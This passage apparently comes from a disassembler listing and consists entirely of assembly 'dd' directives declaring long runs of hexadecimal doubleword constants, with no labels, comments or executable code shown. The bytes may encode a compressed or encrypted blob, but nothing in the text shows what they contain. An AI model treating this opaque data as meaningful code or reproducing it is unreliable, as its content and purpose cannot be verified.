		dd 0B8E49831h, 0EC602947h, 0B63F021Dh, 10504271h, 0FE0040D5h
		dd 0FB8A0075h, 0C8652BF5h, 262EB2B9h, 2F014511h, 0B0CE3BC9h
		dd 0BFCD9841h, 0E885C8h, 0B7479832h, 92DD175Dh,	0B18D100h
		dd 0BA1EF059h, 0DE083C57h, 0B9035500h, 902E6FD2h, 0F9001498h
		dd 1C93C5D6h, 1FB141C3h, 401D638Ah, 2F46B48Ch, 2C00A55Ah
		dd 0A0953837h, 0AB240Bh, 626A996Ch, 0F8C6787Eh,	1190F500h
		dd 63A80CFh, 3C200023h,	2AC5A2C9h, 340709CDh, 626B3292h
		dd 784AF90h, 0F516000Bh
		dd 5D457AA3h, 2EEF1BAh,	1E134B00h, 8568FAAh, 47190016h
		dd 0CF70E232h, 5A036058h, 594CF7EBh, 281A917Ah,	0C4B460h
		dd 354D4294h, 0E0D4C08Eh, 79D63Fh, 87CE3845h, 1F7F8h, 4095EA5h
		dd 0D2FF3630h, 57A95D00h, 163F0F2Ah, 0C4A403D6h, 58102C21h
		dd 1E85BEE8h, 5E901B2Eh, 4000E826h, 9FD660C1h, 2DA17333h
		dd 0A6DE9662h, 678F9800h, 27B8D8h, 0E1532FB5h, 0F4F2C233h
		dd 22DE022Ch, 29134200h, 1E3047Bh, 1BE039FEh, 0C053058Ah
		dd 82184A4Fh, 0CCF0E769h, 812800D6h, 0F382498h,	0DEE63AF9h
		dd 4FE78200h, 3B081B0Dh, 346F2F3h, 509FFFC6h, 0EA005733h
		dd 54397CE4h, 0D96120h,	0CD1872ECh, 63F92D2Ah, 4EF79203h
		dd 0E07333E0h, 3C7671Fh, 0BAD0B58Dh, 1BC81CD2h,	460CDDBDh
		dd 91378844h, 73AC0032h, 0FA09CE39h, 2400038Ch,	98839C4Ah
		dd 0A168B5A2h, 64C4C9F4h, 53E01885h, 8D8438E6h,	447A0600h
		dd 0CE9C4BB8h, 2B9B0078h, 0FD98630Ch, 3707DE29h, 34C3BB55h
		dd 0CBF5AEB0h, 1294F021h, 67B070h, 0FFC01267h, 0A900FD55h
		dd 1CF4E106h, 374632h, 20B81B3Eh, 47F5FA8Ch, 0C2D43Ch
		dd 406D252h, 0E85BEAh, 0F1A49E57h, 0ECCF619Dh, 65030BFEh
		dd 7FB606FFh, 8ED488A1h, 0E394003Bh, 0D9D6E5F3h, 78264B4Dh
		dd 0DA017090h, 945222D2h, 169B67CCh, 1D836CA8h,	0C2424014h
		dd 7C24E835h, 21D2CF00h, 0AB4CA9AAh, 8C6004Ah, 0C52A6164h
		dd 7200A198h, 1AD4983h,	5C815BCAh, 4D0044EBh, 0D2A25206h
		dd 0EE1EC414h, 5E4B8093h, 83AC0E2Dh, 0BBE24359h, 0D81D98F0h
		dd 0F50A0098h, 0DEA22F15h, 0A1014D7Ah, 13EF338Fh, 0AEE0F8D3h
		dd 837B00CEh, 4096F7D2h, 0AF90750Dh, 0E9A43Ah, 0F54CE52Ch
		dd 7779DDh, 67E387C0h, 0AF46CECh, 0AD99BA09h, 0EBCC80D2h
		dd 1872DF7Ah, 1001644Ah, 0BA00A665h, 58C0CE77h,	0F81B98h
		dd 82CB81EDh, 0B259FBACh, 8DB33501h, 0DCB89E02h, 397A29C4h
		dd 5F80939Dh, 125987ADh, 7D0E34E9h, 0EF448855h,	4B77402Dh
		dd 4C0360D5h, 4900080Eh, 0C6F8B15Fh, 0AC0056DDh, 0DB70DCDEh
		dd 99B935h, 1F8B08CAh, 4ABF4E3Ah, 8CD7EC00h, 0EB14C36Fh
		dd 11A50070h, 85236272h, 4E00AF89h, 0BAAC13A8h,	30529805h
		dd 0BD584F78h, 6D01242Bh, 5B8AF1DFh, 1AF9F7F4h,	0EE7FFC40h
		dd 4407027Bh, 6F52E3FBh, 0D4DF3FC1h, 0C800776Dh, 22FCE974h
		dd 382163Dh, 5BD4244h, 29006B4Ch, 97C460F3h, 0BE87Bh, 754DA8B5h
		dd 54760CA7h, 9E7F9C1Dh, 1B003064h, 0E18805DFh,	1CB02606h
		dd 0A0960F38h, 1F2803E0h, 9874FFC7h, 4C635379h,	0E0780930h
		dd 0E22AACh, 9261492Bh,	5BF1254Eh, 5FB46700h, 0BC95E622h
		dd 97EF0068h, 35A8579Bh, 9E00FC82h, 187B568Eh, 0FDF173Fh
		dd 5D111ADEh, 701D5220h, 84051BDAh, 0C3FDE650h,	973E4800h
		dd 1505319Eh, 54CAE1D4h, 0C840B420h, 0FC52009Fh, 0A98EAB64h
		dd 0D413D371h, 3900DF40h, 488D357Ch, 5EDD0055h,	7417BCBAh
		dd 103E8C9Bh, 0DA3E87DBh, 25918172h, 19FCF4DEh,	9786007Fh
		dd 0F2290991h, 90007BE9h, 127708Eh, 3EA58162h, 4C00FA4Dh
		dd 9B764067h, 98C029C6h, 0CF063213h, 3757CEAh, 622631C3h
		dd 0F20F4DA7h, 5091392h, 1800E4CEh, 0A2EDC9BFh,	56A50EB6h
		dd 8B9A3B7h, 0F1218019h, 0D727EDACh, 381AF086h,	8B1D15FAh
		dd 1F03A07Ah, 5B9992F5h, 0BB110063h, 95E50338h,	7F195033h
		dd 650843E1h, 0C0BD2187h, 0AABF7003h, 68C023BCh, 6B7EED5Dh
		dd 4D130EADh, 49E05278h, 91124251h, 52F0F54Eh, 88680093h
		dd 0CAEF3C86h, 620F6C39h, 5492F47Ah, 3158040h, 8C4B95F0h
		dd 929D20h, 2703DDBCh, 0F458FC79h, 99B38700h, 3DA9AF09h
		dd 981451BAh, 30DF9402h, 7B11EDC4h, 2588DDB6h, 0EDAF3C80h
		dd 0F97CD0h, 4B49978Ch,	0D9F22477h, 0A9BE9232h,	6FA3E1B2h
		dd 0CF9BB880h, 34A988EBh, 0E767D000h, 438122E0h, 8988A032h
		dd 967E0F59h, 60C02627h, 0FDF14109h, 7F54BF00h,	0E1FC1099h
		dd 668F00E3h, 985090C8h, 0CCF4C7BEh, 2EFEE503h,	0C92AA58Bh
		dd 6DC8F9D7h, 4E7C0036h, 184AAE23h, 9E3A82F4h, 4993000Bh
		dd 7904AF8Fh, 0DC0A00C8h, 3CB0EAEh, 6558D883h, 0ACD000EEh
		dd 12AC09Dh, 4AF02C45h,	675F0014h, 0C5C796AFh, 5C2C4100h
		dd 93B3833h, 0BA5300A6h, 8002CF27h, 7960D029h, 13353348h
		dd 46F40691h, 18D1E456h, 0EEFCD800h, 22AE9E0h, 85AF1EB3h
		dd 8115806Bh, 4B3D2FAEh, 0B1BFA300h, 0EA56C92Ch, 2E4F3EB3h
		dd 31DB0C01h, 876A4D5Eh, 697D94A9h, 14D1FC57h, 42D0BD7Ch
		dd 0E2FA0028h, 0C1324530h, 0DC009CD4h, 6685CFDDh, 1ED7485Fh
		dd 5B2ECBEAh, 0B007B8CCh, 1C4D9271h, 2CC4C090h,	182E6078h
		dd 0E60AAEC7h, 770DA900h, 0A862D8DAh, 8E285052h, 0C82F0334h
		dd 72DC46BEh, 0AC215CC0h, 0B37A3F03h, 7517FCh, 60F462A8h
		dd 0B7D277CFh, 0A058226Fh, 0AF8C1971h, 7D101D3h, 0DD2F56A1h
		dd 44AC4014h, 48C38160h, 74A663h, 83ABBFD0h, 0A4CE51EBh
		dd 0E7A5DE1Dh, 0B1116B84h, 540BB980h, 7B190087h, 480AF1F7h
		dd 0F863FEF0h, 3E6B8B08h, 7B80B920h, 66141BC6h,	75009962h
		dd 0EB7DE4E3h, 1D6F634h, 6755E1B6h, 0CC231EC5h,	62EC783Ch
		dd 0C2E8E21Dh, 0D700E711h, 428D2416h, 0C1FEBC65h, 994880E5h
		dd 4A670985h, 88960789h, 0E328BB42h, 2061D1B1h,	0D76A67A9h
		dd 0C10048BCh, 2501A421h, 4B00808Dh, 624FFDAh, 30999634h
		dd 15E9E3C3h, 4841B05h,	0F5A37B2Dh, 76663EAh, 7B25BD21h
		dd 0AD450ECh, 6A317275h, 0B9657802h, 3E5C7FCh, 0DF4B7BBh
		dd 88066DCh, 36003E7Dh,	0AD09D09Bh, 73A89C2h, 0DBB406Dh
		dd 0E7C91067h, 160F9770h, 9853AEDDh, 700EABC1h,	0DBD03DBh
		dd 0A562AF82h, 21D50830h, 0C3F9974h, 7971DE7Ch,	8602F0A1h
		dd 6764DAEAh, 970D40C1h, 0D0490F57h, 0F240136Bh, 4B2E3A29h
		dd 6200B7F8h, 0C5256909h, 7BF11C04h, 310F0721h,	7948E8h
		dd 15071DE6h, 3D29E303h, 80AFB636h, 0BA8E26h, 0F886841Eh
		dd 0DADF1D0Ch, 0B2004E78h, 767A7BEFh, 3BA82DD5h, 8B00D410h
		dd 2E205C55h, 59001358h, 0E446C15Dh, 0B805B0h, 5C09E881h
		dd 0AACDB41Ch, 8FA31600h, 4439D2D4h, 0C7F70078h, 4FF23603h
		dd 1D005697h, 0E7EB16B4h, 787A548Eh, 1C60CEE9h,	30490E2Dh
		dd 0A7B896B5h, 3AFC358h, 0AD49CF61h, 0FA69A8E8h, 2367001Eh
		dd 56A20F63h, 7100F920h, 0D29625A6h, 188A5112h,	599F9EA5h
		dd 630064F0h, 921059DAh, 1EDB4AEh, 2E6B1FE6h, 0D09D3240h
		dd 0B6002686h, 91F62F68h, 60F2C3FEh, 4E24A06Ch,	6503D5A1h
		dd 1657D49Eh, 0FC181C87h, 425800B8h, 8F56014Ch,	0F9742406h
		dd 7C39639Fh, 0C4C3095Ah, 0B00088Bh, 2742D867h,	5CE2D100h
		dd 0FBC925A7h, 956F00DFh, 2D1A44D3h, 0D4E146BDh, 0A198862Ch
		dd 0FB35800h, 1EFBCC91h, 44681EEEh, 8D2E07FEh, 0BF230188h
		dd 708D41Bh, 4AD4A400h,	84E6D5BCh, 0E4B6018Dh, 943BA327h
		dd 0BCF8D13Dh, 84E28721h, 5FF12E30h, 0F60D0D6h,	9BCE005Ah
		dd 99AF6B80h, 3500CB79h, 1F32EA88h, 3C07689h, 67109F86h
		dd 8801E566h, 8D2F270Eh, 58B28834h, 0E9300D88h,	8F5A0884h
		dd 86E267Ch, 556400D7h,	5DB3619Eh, 0FF1EA000h, 358DD3BEh
		dd 98F50171h, 22FFD09h,	769BE46h, 0ABF6C51h, 0E0B3C0C2h
		dd 0C3B25D26h, 10772AA8h, 0D457A681h, 9C6D903h,	20C84Eh
		dd 3AE48F0Ah, 5136BECFh, 48AC6430h, 71CF3AFh, 0AD12A478h
		dd 573BD082h, 300DC5Ch,	0CD3666DAh, 0F50A09h, 997064CCh
		dd 3BA4B11Eh, 58A5BB02h, 0C08FE5E7h, 0FB41ACh, 0CE1639CDh
		dd 0BEA026EEh, 83E26703h, 0E82F8654h, 718430AAh, 0DA370003h
		dd 319762F4h, 7100E12Ah, 1ECBDE4Ch, 0B107C7h, 539DBE6Bh
		dd 0A3F2098h, 22588919h, 21875508h, 502FF768h, 1EB221A1h
		dd 947CC6ECh, 805A700h,	3EDCB497h, 605EFE70h, 0DF82196Ch
		dd 0F680B656h, 6A4E0013h, 8D387CFBh, 81F8CA2Ch,	0DE61AF60h
		dd 79E37AE4h, 18803C9h,	0ADFACE5Dh, 1B5AC0BFh, 0D0F8B8A0h
		dd 31213506h, 39A623h, 0FE8017F6h, 3F7FDFA3h, 0CD2EB707h
		dd 0EA834283h, 1ED293E8h, 1932780h, 0E2ACA34Ah,	6E6DC44Dh
		dd 80C08F3Fh, 0D87CAE69h, 9873E3DFh, 0E9D7561h,	0A98B4134h
		dd 0F090D9C7h, 74A0CC0Dh, 0A2F74Ch, 667917D3h, 7D093670h
		dd 56581F6Dh, 1680BDDFh, 8ED4A5DAh, 500B782h, 11FC9403h
		dd 1F47F390h, 870854B5h, 50213209h, 0A0251B4h, 0E284DE00h
		dd 22F5FFD3h, 1FA7002Eh, 3BC0C14Eh, 1B7EC227h, 0B6932B1Eh
		dd 3A588703h, 41380688h, 18ED1670h, 5E4EDD0Eh, 1F3AFF0Eh
		dd 53802450h, 6F1EFD28h, 56710333h, 0D4D58FFh, 400050C3h
		dd 0BC17725Ah, 8E3009h,	0F07B039Bh, 6E3E7435h, 0FCFAB00h
		dd 46824AC1h, 0D88C00BDh, 50634EF9h, 0A20CEB5Eh, 71048BA4h
		dd 428100D9h, 7024AC4h,	351837BCh, 5E686734h, 8B7021h
		dd 8C048253h, 0DC8331D3h, 4B03BEE8h, 0AD47F8E0h, 248053Bh
		dd 5834D9h, 65FC8DA8h, 0F8002398h, 46519315h, 0C09F05Dh
		dd 5FE6AF9Fh, 0BE003330h, 327987D4h, 1FEEB4C5h,	86D272EBh
		dd 61BF66D3h, 1B602507h, 1E4019B0h, 2E8642h, 0AA27856Fh
		dd 839E6ED3h, 0F9154174h, 7907C99h, 8DFF1DBEh, 51DCEA00h
		dd 170600D3h, 279F7D39h, 0A4A47F32h, 66419B2Eh,	0CA9C7E00h
		dd 0CB8EF1h, 6107E8D5h,	8BF6A0C3h, 0B1785200h, 6E4A9B98h
		dd 13F500C9h, 9A93A5D2h, 0CF003E91h, 0C646A957h, 0FA371504h
		dd 0DC3100D0h, 7392170Ch, 0F506F366h, 1A860FEBh, 8325030Eh
		dd 79FB475h, 24103Dh, 10806D88h, 1F53FD35h, 4165BBA7h
		dd 9F856E8Dh, 5728800Dh, 8B94C744h, 458400B8h, 0CE775497h
		dd 3003C529h, 0D41A7C4Bh, 0E996E046h, 833B0052h, 557F459Dh
		dd 5B0C4994h, 0B0CEC865h, 0D4412C3Eh, 0EC820E8Dh, 8960B20h
		dd 3700E2DCh, 0EAF95C63h, 8145B9h, 44853FAEh, 0D40C087Ch
		dd 2A53FC00h, 2977FAABh, 50C663A5h, 0AEEFE867h,	609AA898h
		dd 0E913561h, 1880AAE5h, 998856CCh, 0AC000FDBh,	266E503Eh
		dd 0FE70B47Ah, 654D0091h, 0AEA6FDD1h, 5C0031A9h, 0E0873954h
		dd 20924E5h, 0FA481D35h, 0F280F67Eh, 2585D67Fh,	8647FD3Ah
		dd 1F7388FEh, 21AC6708h, 3A2630EDh, 640052F9h, 0B130DBC8h
		dd 3BDDD4E0h, 0CE033519h, 0DA4975D2h, 5AAD6AC0h, 0CF865200h
		dd 672F0540h, 0F648C0C3h, 0D495A6DEh, 721851F2h, 1B098992h
		dd 0FE20C019h, 0C58F95FAh, 1DD9E800h, 0B43B59D5h, 518404Ah
		dd 28007BB8h, 0CDBB9CD0h, 3DC9831Dh, 4E004B06h,	8D04D676h
		dd 6C03A415h, 0E0EBA382h, 28E9187Ch, 4291D194h,	808E6900h
		dd 0B5444E46h, 35700096h, 86A694CAh, 0E666C8ECh, 1F6FD39h
		dd 5B17B641h, 983F99DFh, 0BE900208h, 52233FD8h,	7A796900h
		dd 6A882D35h, 60D79418h, 953679h, 0FD1525CEh, 2D867F1Bh
		dd 97EE6201h, 20A49987h, 0BB32C840h, 0A85550F1h, 3D83004Ah
		dd 1330456Ah, 0E500DB2Fh, 25A464A7h, 32D988Eh, 6FE83EA6h
		dd 0EFB8EEB9h, 90073C1Ah, 4A066B83h, 3978C08Eh,	0CE79B7h
		dd 7B9DD29Eh, 0DB11DF32h, 40BD8300h, 0EFA8F25Bh, 93130B56h
		dd 5600CF6Bh, 15189CD1h, 5F41F00h, 4BD9F7F8h, 43E204CDh
		dd 8765392Ah, 0FE9D8069h, 0E800936Eh, 0E0FA58DBh, 0FF4C3C8h
		dd 76FF0A20h, 0D89B0360h, 0A500E3A4h, 154D0BD5h, 5B9D1h
		dd 0BBF11F6Ah, 0D435DB63h, 746B6E07h, 0E570E037h, 0F3766F99h
		dd 304360F0h, 1F183324h, 34400681h, 148703FFh, 1ED36E3Dh
		dd 3890E9F3h, 3300B819h, 0CB37D6C5h, 3EAAB0Bh, 3EA8BD23h
		dd 3DF00578h, 6900A5E7h, 2E55A3B6h, 3948CBFh, 5F32F7DBh
		dd 40032722h, 0DC23BBAFh, 11101DAh, 57DBA0B0h, 0BD70F0C7h
		dd 213609CCh, 0F3B400E1h, 0A356836Bh, 5A0CEF1Eh, 0B822EEDCh
		dd 0E3AE31C7h, 0F5AC2128h, 3807D35Dh, 0F438DCA5h, 72832A6h
		dd 0E747B5D7h, 4E8957FDh, 393F0A5Eh, 7CA9384h, 0E03C31FDh
		dd 87C36543h, 0B7EED3Ch, 0E9B51Bh, 0C5DECB6Ch, 0EA69E844h
		dd 8ED507FAh, 634637B6h, 0E0D87E16h, 65FA0301h,	0DAF70C02h
		dd 0E00582B3h, 1D4B947h, 0D0528476h, 0C43678BAh, 8D1DF82Dh
		dd 0FA5CEFh, 0D443D785h, 1C0B09h, 0AF469CBEh, 7FA9C6A3h
		dd 758F5E01h, 14C51053h, 580336D4h, 7C0100ADh, 0FD176943h
		dd 0FB18807Bh, 97092AE2h, 0AFDE0144h, 0A433437Dh, 0ED1AF1F8h
		dd 0D4B2F092h, 190E7080h, 49D1E45Fh, 80AEE896h,	5BB35103h
		dd 1B7B4B7Fh, 30AB7908h, 1DAA3B98h, 8CC44103h, 0D0952Ch
		dd 156D3618h, 37D276BEh, 2E696A00h, 28FBFA5Ch, 0E73E17BDh
		dd 0DCFC0Fh, 8C451B42h,	0A8EB890Eh, 11AABD3Ch, 8C6351AEh
		dd 1D01A923h, 40ECAFB6h, 1E80CD8Fh, 3A019852h, 1D37BBADh
		dd 71D0FB02h, 0AA63EEAh, 3633A100h, 0D3F4116h, 0B8A4DA28h
		dd 0F239F100h, 66583D9Ch, 0C3320031h, 0A9CE0676h, 0F500D678h
		dd 0AFAEBC92h, 4CBF5D01h, 0A600751Dh, 6BB235E1h, 1A00E7B9h
		dd 0DAE60873h, 0C63C3Ah, 603E201Fh, 0D5EA254Dh,	9D6FB33Ah
		dd 0DA807E05h, 0CFCAF540h, 0AF3009Ch, 1FC82111h, 0BC00E414h
		dd 5E903934h, 66CFE5h, 80DB2854h, 0AE97AAABh, 0AC5A761Dh
		dd 0BC43CBC1h, 0CAF81687h, 0CD070081h, 6E7C868Fh, 4400729Dh
		dd 1F75C203h, 0EAFC398Bh, 703000EEh, 36FDC4CDh,	0F2001B54h
		dd 132F0888h, 0B49BD1h,	0CF436A8Bh, 84617035h, 75FFBC0Fh
		dd 0D8A600CBh, 5301BBh,	8FD97904h, 2FBA69BDh, 3F54B700h
		dd 95ACA21Fh, 0E7DA00CFh, 0AB8A4BCCh, 0F50B47E5h, 4CF1B4h
		dd 0B9ECBFDh, 7EA7EAE8h, 4F803D5h, 0FDE67167h, 0CE1FA003h
		dd 0F8CF35CDh, 0E2285F0h, 5B27DE3h, 47796F40h, 400F455Eh
		dd 667E959h, 1F19E6B8h,	9061BE50h, 0BD9000DEh, 0AF1C543h
		dd 0F2E4009Ah, 8D6E207Ah, 0C70763DBh, 4BAC6BD5h, 55FE13A0h
		dd 1E5708Ch, 77E208C3h,	3F73E719h, 44C8F0h, 5669A84Bh
		dd 1BE03F05h, 9754F300h, 0C137AC6Fh, 57680058h,	0B9787C8Fh
		dd 0DE120DF6h, 891C2680h, 9655EC40h, 1D84FB63h,	40B6BAADh
		dd 9C235A94h, 420C2AA2h, 91892B6Dh, 54020095h, 0B709695Fh
		dd 4B050830h, 0A0C0A8C8h, 6F76DC80h, 405E677Eh,	0B82A4215h
		dd 0A427C057h, 5CDE301Fh, 22450618h, 68AAE70Fh,	0CBC01EC7h
		dd 9E9F65BFh, 69C03BF8h, 773A8D80h, 8E17C76Bh, 0CB295C00h
		dd 48FFCAB2h, 2E2B0BC3h, 61805565h, 0A568AFFEh,	37AD4A00h
		dd 38302CD1h, 8710187Ch, 8D6AB9C5h, 0F10C2AF4h,	0A8DEB395h
		dd 0DDFE400Ah, 0D3ECCD13h, 0C484A600h, 8D89Ch, 0DAB71445h
		dd 77AD2BE9h, 0C8DB4C00h, 95A74A43h, 8C0800FEh,	3F46B78Fh
		dd 59008993h, 0D2DCAC72h, 0C04BF4B3h, 9C7E1C18h, 5A2C7186h
		dd 191E1520h, 1A956143h, 8C0E08Eh, 72D60C9Ch, 0BA108946h
		dd 9BD45500h, 3647A115h
		dd 8AD6B05h, 0DA20570Ch, 9F267F98h, 6600526Fh, 95579DE4h
		dd 6B0E079Ah, 0C08C442h, 8D01BA88h, 3F4F1EF2h, 0DF8E4Bh
		dd 0F567CF40h, 1B6C5E3Bh, 583E36F8h, 53EC2E4Ch,	46DCAD01h
		dd 1EFAA80h, 17D49AC0h,	80FB77AFh, 53812D10h, 66D91h, 8E938DE3h
		dd 962A47B2h, 7700DCF6h, 3B720D66h, 7985615h, 1F871439h
		dd 0C574102Ah, 810004A2h, 8A32F46Ch, 2430E0E4h,	96435Ch
		dd 0DDE55D96h, 93002645h, 7ED1223Ah, 1E1BDA4Dh,	473F7803h
		dd 0EB3C13h, 5AFA2FD8h,	97D2E000h, 2E48B16Ch, 0BBA50098h
		dd 0D7CEE750h, 2F048629h, 8158EBDDh, 126A8580h,	0A9F0001h
		dd 65ADD693h, 2707AEC2h, 0A01D5A1Ch, 9DB6AC21h,	73C40F4h
		dd 9236552Ch, 120DE0AEh, 85F85AC9h, 20942E30h, 63BEBh
		dd 1570DE23h, 22654172h, 0A564D200h, 55B20D1Bh,	3CBDB853h
		dd 0BF1E07DEh, 8520C38Fh, 19008EDBh, 6670D2A0h,	20DA545Ch
		dd 6E008C77h, 17DD9EC1h, 3C6F4BCAh, 66802EDEh, 4772D4B7h
		dd 430C843Eh, 0E1C559F1h, 64578CAh, 17749DACh, 8500A086h
		dd 0F66B27F5h, 30F3EE07h, 3B9AB38h, 600D9D8h, 0E253C2F8h
		dd 19C1751h, 489A5482h,	0F8FC158Ch, 0C2000F2Ch,	418744BFh
		dd 8861D5h, 67E1421Eh, 8BE3A651h, 40E5FE00h, 3204050Ch
		dd 71FF0095h, 16C4823Ah, 0F8005BD3h, 591CF66Ch,	7B52E5D9h
		dd 0F690056h, 400E6B88h, 0A400B8D8h, 0A6673EE9h, 625625h
		dd 0B4FC5A2Ah, 0E1F2409Bh, 3423E503h, 0F8651695h, 0C0D0A573h
		dd 4111351h, 87EE0764h,	0B637CF0Ch, 988D18E6h, 52D83F99h
		dd 50F6A00h, 41EB44B0h,	9C3ED970h, 0B47806Ch, 36715081h
		dd 7D4EF40Dh, 407700B1h, 37FA89E9h, 0C4009060h,	0A3B2BB1Dh
		dd 78B52B20h, 504A0F67h, 0D9A16BACh, 9FBAF2FFh,	8CC2D278h
		dd 0E080479Ah, 3C46EBAh, 58ABE25Eh, 881D45ECh, 0CF5D2BB2h
		dd 24DE603h, 13701E06h,	0C3E900F5h, 55C542DAh, 0E4480400h
		dd 4C5B0A7Ch, 28BEFBCBh, 0F3C09300h, 0D8A8F03h,	0E800C774h
		dd 0C2BC6D4Dh, 972520h,	0AED2CBA4h, 9E5C1C55h, 12AB7D03h
		dd 0A051DCB8h, 3AAA988Dh, 87008CF6h, 609F670Fh,	0A00ED40h
		dd 15217CACh, 1F0C1283h, 40747598h, 8ACB87A6h, 40C050C2h
		dd 0D5142362h, 54AA3A33h, 1880E898h, 0F7935D8h,	12C54Ch
		dd 0CD28A64Dh, 3C47476h, 46D165FCh, 3803F977h, 4DB16D55h
		dd 0BE6B8A7h, 6729297Ah, 2B94002Ch, 0E4C1CE25h,	0A3E6BF00h
		dd 0C6AC825Fh, 99766034h, 59D1725Eh, 0C80ACA00h, 93753E45h
		dd 90DF6788h, 0A298C057h, 6D0C49A8h, 18AAEC52h,	0E1A90177h
		dd 0BC2A9364h, 0B73ACCC6h, 87A8F600h, 11BE6555h, 0A50F15ECh
		dd 0DC0E98A9h, 2B8E7638h, 5EA70A20h, 0A5007B4Ah, 0FE05FC52h
		dd 8FE8FAh, 2CC8EE97h, 4A40F213h, 0D9C13D01h, 67AF440Fh
		dd 0A3C2AF4h, 24E510BCh, 3A488024h, 81F4FCCBh, 0EE87C500h
		dd 0D474D6BBh, 15C4A00Ah, 76B9C00Eh, 0A74CB833h, 4E4AE00h
		dd 0E06CA4C7h, 1A210079h, 0E7A5E892h, 840008EDh, 0F223BFFEh
		dd 0A0F3E65Ah, 6A7AFDCh, 0A1C1AA4Ah, 0FD7150BDh, 0B81D4D28h
		dd 88188402h, 80155BD5h, 0F1E39BDCh, 41A33CC6h,	0A0A84200h
		dd 95C31617h, 405F6701h, 61C92219h, 385A52D0h, 2A0E6BB4h
		dd 0C560788Dh, 0CCC1A2D8h, 87C09550h, 47C01C00h, 55B8348Eh
		dd 0D6F0012Bh, 14F3CD89h, 9AEBF8A6h, 0A835C139h, 520094C4h
		dd 0D27DFCBFh, 1ED1280Fh, 0C460167Ah, 0C0A969E7h, 33381B4Dh
		dd 0CA0A3500h, 3ED5BF15h, 0DF1C1DD4h, 0F830CA2h, 35FE9E20h
		dd 1F03495Ch, 0F4C02FB0h, 8B91DDF7h, 0C7370738h, 0DE33E9F5h
		dd 0AD6F2540h, 0B3260A5Fh, 0D10E4652h, 0FA57E1AAh, 0F8C3724Dh
		dd 0E4729F8h, 3868C75Fh, 10BFA7C0h, 0B478D532h,	0B1533Fh
		dd 9F8D772Ah, 74346C09h, 3BA4005Eh, 43A1386Ah, 8C00D361h
		dd 45EF8073h, 0E83FEC8h, 0E19C10C1h, 0B2D9538Ch, 68280D00h
		dd 75F99D3Fh, 0B989D844h, 6914B333h, 0CE84FD63h, 0BF684264h
		dd 0C2E230A5h, 60334800h, 6D53CA36h, 0F6AF016Ch, 135514E4h
		dd 0DC85E0F3h, 83066AFAh, 47C6848Dh, 12D021D8h,	261C089h
		dd 0A45E4541h, 9440A56Ch, 1F5F8A73h, 0B6608018h, 0F533B150h
		dd 76106ECh, 1E14D537h,	41714015h, 9B1DEFA7h, 4F0CF682h
		dd 7E3E20B5h, 0D6376A8h, 3342F91Dh, 0B7F807F0h,	0B6F1B359h
		dd 0F25BEAE0h, 1BA80500h, 0D964DAD5h, 4CA0E0FCh, 4600A03Dh
		dd 7F97AA25h, 36030C58h, 86F84180h, 4EDB90C3h, 79D1075Eh
		dd 0F05F74A1h, 0B7E89D07h, 99B8EE00h, 0D89F383Dh, 2B9C1EAFh
		dd 262F87A2h, 0E6C6B065h, 8B072CF1h, 0E9DB7B5Ch, 0D147F30h
		dd 767E6CFh, 0A1E8F5A3h, 40E04051h, 7F00208Dh, 0F73F72FFh
		dd 0A0F8B4D0h, 1289F1h,	88EC9541h, 45C31B0Fh, 0F7006579h
		dd 5D4F32C0h, 51FF6BC5h, 4DF8AB61h, 7BFD989Fh, 500B00A7h
		dd 9228C17h, 0C0015E3h,	937DD5D3h, 1D737D4h, 0CC07F192h
		dd 60DA381Ch, 2807333Ch, 0A24BA653h, 3264DFE0h,	6D471E89h
		dd 8E0E3D1Ah, 0E7C0F737h, 13AEF8A0h, 52AC571Dh,	0AAEB7380h
		dd 112C70h, 0D4F6C5CAh,	747AF71Fh, 32CE9900h, 4713A28Eh
		dd 0F92A0051h, 60AF3B91h, 0D100A7E2h, 4C30B3D4h, 0BD1011h
		dd 0FD0385F5h, 0EE5A893h, 0EFD1FB00h, 720DE999h, 0F95D0050h
		dd 2CBCE886h, 544807E6h, 0F7017E56h, 44F2BBB7h,	0DBD84B15h
		dd 0E0053FDCh, 69F56300h, 829A5CEAh, 91BC025Fh,	0BEB7D800h
		dd 0B93B295Fh, 450081DDh, 7B787D5Dh, 0C57900AAh, 0EDFFE2B8h
		dd 58004694h, 1CA05706h, 1D93F96Bh, 9C1D8BE8h, 0FA794090h
		dd 0D3DDB382h, 7482D24h, 0C74CAB05h, 8960BF87h,	7337A101h
		dd 978700D6h, 0E81AD5Ah, 0B326DF31h, 6F004CBFh,	7F78C5C7h
		dd 0F6FE0ED0h, 0E86016F7h, 0D3C14ADFh, 8EF10400h, 5129B2D1h
		dd 2E961D0Bh, 6703FE5Fh, 935ED2A4h, 8353D7E8h, 21007778h
		dd 0E53A323Bh, 0F8747DBDh, 0C3F604B2h, 0C091B1EEh, 222BC624h
		dd 5FB88079h, 2F00D378h, 353D44CEh, 7A826055h, 8B02008Fh
		dd 0FDD8AEE0h, 8E007B9Ch, 1CA661AFh, 0C3DD86h, 7AB31066h
		dd 939F5395h, 6A152700h, 0B479F929h, 0D5440E2Ch, 80BF3519h
		dd 0A4E7F712h, 0D03A1DCh, 0CB1F71F3h, 4E3BF89Ah, 8D8B07A9h
		dd 0F9637410h, 0ECDFF480h, 3300962Eh, 0E53064C9h, 0B85968E8h
		dd 7273013Eh, 0DEF94111h, 8F0C2487h, 40001CE4h,	60A9C294h
		dd 0CF641Eh, 8329467Ch,	0AE9D91FBh, 0E5687F00h,	0AC618EEh
		dd 82A50358h, 0E497074Dh, 26A2ECC0h, 8ACDC800h,	49F0D54h
		dd 5B140016h, 0E4690FB3h, 0FD04835Ah, 80FE94F9h, 70C91880h
		dd 0C4EF0293h, 63B12132h, 9A5709C0h, 82088300h,	8847447Ah
		dd 3D20E9D8h, 0E10E0BBh, 0A1E774C7h, 352AC000h,	1C01D123h
		dd 0CD2467C4h, 22C8AD8Dh, 0CC3B0328h, 5E2BD88Eh, 0A2F6B8F8h
		dd 88C93F00h, 70C7822Ah, 19A81CD0h, 6EE5408Eh, 0B6AE993Ch
		dd 2EAEC3Ah, 0CC22773Dh, 0E7C44864h, 1C2600FCh,	93F24C0Ch
		dd 0DE3AA0C5h, 826307A3h, 0B0A038A1h, 689F76h, 6E08EEB1h
		dd 94F472DCh, 1DED5900h, 4E4B1C01h, 3346004Dh, 9C191A7Fh
		dd 87014540h, 7015F2DFh, 0B0241277h, 14B848B2h,	0AE3A423Ch
		dd 26A19F00h, 0DE17AB6Bh, 0A027E92Ch, 6AEC7F38h, 7800A070h
		dd 0CA65D685h, 0F28E90h, 0FF95C62Ch, 0C3402D0Fh, 6A377300h
		dd 0A53469A9h, 0EDF20774h, 0A3CB1AD5h, 0B2D809E9h, 381C5985h
		dd 5C401BB5h
